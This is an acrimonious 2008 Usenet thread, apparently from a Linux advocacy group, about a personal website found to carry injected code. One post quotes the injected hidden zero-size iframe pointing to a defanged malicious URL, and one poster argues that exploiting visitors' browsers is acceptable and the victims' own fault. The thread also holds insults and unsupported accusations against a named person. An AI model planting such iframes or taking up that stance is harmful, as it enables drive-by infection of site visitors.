In article <EzQCj.19709$r76.596@bignews8.bellsouth.net>,
Linonut <linonut@bollsouth.nut> wrote:
What would be the right Zip? I am unable to find an online, free,
resource for Israeli zip codes that I can understand--they all seem to
be in Hebrew.

--
--Tim Smith

Tim Smith <reply_in_group@mouse-potato.com> writes:

Too funny!

It is too!!!!!!!!!!!

On Sat, 15 Mar 2008 11:45:45 -0700, Tim Smith wrote:

Lol.

Pw3d!

From: "Tim Smith" <reply_in_group@mouse-potato.com>

| In article <642dveF2a7vd5U1@mid.dfncis.de>,
| "Sebastian G." <seppi@seppig.de> wrote:
| You don't consider someone other than yourself editing the pages on your
| website to be being compromised?
|

The following was appended to the HTML of the web site...
{ obfuscated code }

<i frame src="hxxp://pinoc.com/count.php?o=2" width=0 height=0 style="hidden" frameborder=0
marginheight=0 marginwidth=0 scrolling=no></i frame>

As Ant noted, pinoc.com is a suspended site associated with ESTDomains.

There is a well established link between ESTDomains and malicious web sites that are
designed to do nothing more then infect the unsuspecting visitor.

The site was hacked and thus compramised.

The ONLY question that should be now asked is...
What was the exploitation vector that used to compramise the web site.

--
Dave
http://www.claymania.com/removal-trojan-adware.html
Multi-AV - http://www.pctipp.ch/downloads/dl/35905.asp

Hadron wrote:

No, it was one of the Winidiots that continue to stink up this newsgroup.

Don't worry, though. We know it wasn't you, because there is no way you're
that smart.

--
Regards,
[tv]

....I don't suffer from insanity, I enjoy every minute of it.

Owner and proprietor, Trollus Amongus, LLC

Hadron wrote:



No, he didn't. Repeating it over and over again doesn't help you.


You're twisting correlation and causality. Only machines using *Internet
Explorer* got infected, and since Internet Explorer is primarily only
available for Windows, the obvious consequence is that almost all of the
infected machines run Windows.


Not just that it's not him at all, why exactly should be do anything about
it. He's not harming any serious visitor, and is getting access to machines
for free, and can't be hold responsible (since the users intentionally
offered him full access to their machines).

"Sebastian G." <seppi@seppig.de> writes:

On Windows.

LOL: Now I see you're only trying to make Roy look worse!

You had me fooled for a minute.

Tim Smith wrote:


Now that would be a serious indication if it's true. But this is unrelated
to the infection since a totally unmodified website including content from
potentially untrusted third party (as most big websites do) could appear
like it's infecting machines to the clueless.

David H. Lipman wrote:



Technically that's a lie. If a user is abusing MSIE as a webbrowser, he
should be aware that he's effectively offering a remote shell to every
website he visits. If not, then he doesn't know what he's doing, and should
expect serious consequences from such ignorance as well.

An unsuspecting user would require using a secure webbrowser with a sane
configuration, which in turn can't be compromised that easily (if at all).

Hadron wrote:



That's not the reason why IE is so trivial to compromise. Running IE on
Linux using Wine, or even running the native IE port on MacOSX results in
the very same vulnerability.


No, rather not. See: I have been running a website discussing IE
exploitation. It was encoded in XHTML 1.0 Strict and the server was
correctly serving it a application/xhtml+xml. Now the funny/stupid thing is
that IE doesn't know this MIME type by default (and Microsoft doesn't intend
to simply add it via an update), so IE users get a download dialog instead
of the website.

Someone has been asking me how people should learn about the dangers of IE
when they can't access the website with IE... my response was that they
should simply use a real webbrowser instead of abusing IE as such, and I
don't intend breaking a 100% conformant website just because they don't know
how to differ a webbrowser from an ActiveX Rich Platform Client.

Some other users have been reporting to me that my website contains some
malware. I told them that this is obviously not the case (the exploits are
intentional for education purpose), and if their virus scanners are scanning
their websites they're surfing too, then they have at least a serious
configuration problem and a waste of resources for absolutely no increase of
security (think about script obfuscation or HTTPS).

If someone decides to gain access to every user's system who connects to his
site by simply stepping through the front door by using well documented
functionality, then he may do so. After all, if the users's software
technically doesn't express their intentions, it's their problem.

Hadron <hadronquark@googlemail.com> wrote:

Which is a piece of cake because your a fuckwit

foad

--
John Bokma http://johnbokma.com/

John Bokma <john@castleamber.com> writes:

That would "you're".

On Sat, 15 Mar 2008 18:05:18 +0100, Sebastian G. wrote:

COLA denial at it's finest.

Truly amazing.....


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

On Sat, 15 Mar 2008 14:58:04 -0400, Erik Funkenbusch wrote:

Of course they are going to believe him.
They are in denial.

Look at that guy Sebastion who is claiming it didn't even happen, even
after Roy Schestowitz admitted it.

Truly amazing.

Some of these Linux advocates are just like zombies.
--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

On Sat, 15 Mar 2008 19:41:30 +0100, Hadron wrote:

The classic signs of a narcissist.
Me?
It can't possibly be *me* because *I* am too smart for this.

Yes, Schestowitz knew about this and I wouldn't be surprised if he wasn't
behind it to infect other people's machines.

With Roy Schestowitz, nothing would surprise me.


The blinking "Internet LED" probably has him totally baffled.

They are falling faster than the walls of Jericho.
That is what happens when your real motives are different than your true
motives.


They sure do.
For anyone new to Linux who starts googling Scehstowitz, and how can you
miss him because his name and websites are splattered everywhere, they will
get the impression that Linux is run by lunatics.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

On Sat, 15 Mar 2008 11:45:45 -0700, Tim Smith wrote:

Hahahahahahhahahahahhahahahahahhahahah!!!!!!!!!!!! !!!!!!

Roy Schestowitz wanted attention, now he *has* attention....




--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

On Sat, 15 Mar 2008 15:08:20 -0400, Erik Funkenbusch wrote:

I wonder if Mark Kent's computer is infected as well?

And what about all those connections Make Kent supports for other people
who also use his computer to access USENET?

Has it spread to them as well?

I can't wait to see how Schestowitz and Kent try to explain this one away.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

chrisv wrote:
Are you on the right pills?

"Dr.Hal0nf1r£$" <femail@nospam.kustomkomputa.co.uk.invalid> schreef in
bericht news:qJCdnWzgkZ-XD0HaRVnyvAA@bt.com...

* Erik Funkenbusch peremptorily fired off this memo:

It doesn't matter. They are only a handshake away from someone who is
capable.

I don't believe Roy on this one. But I do believe it was a deliberate
attack, on my own evidence. Just because it is a common attack doesn't
make it non-deliberate.

It is quite possible to me that someone said, hey, see what you can do
with this shestowitz.com site, hmm?

--
We will never make a 32-bit operating system.
-- Bill Gates, At the launch of MSX[3]